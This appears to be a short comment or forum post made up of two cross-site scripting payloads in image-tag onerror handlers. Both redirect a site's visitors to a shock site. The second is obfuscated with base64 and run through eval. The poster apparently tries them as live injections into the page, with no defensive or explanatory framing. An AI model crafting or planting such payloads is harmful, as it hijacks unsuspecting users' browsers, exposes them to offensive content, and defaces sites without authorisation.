Oh,

<img src="x" onerror= "if(document.location.href==='http://4co.in')document.location='//goatse.cx';">

Maybe like this then?

<img src="x" onerror="eval(atob('aWYoZG9jdW1lbnQubG9jYXRpb24uaHJlZiE9J2h0dHA6Ly9hbHRleHBsb3Jlci5uZXQnKWRvY3VtZW50LmxvY2F0aW9uPScvL2dvYXRzZS5jeCc7'))" />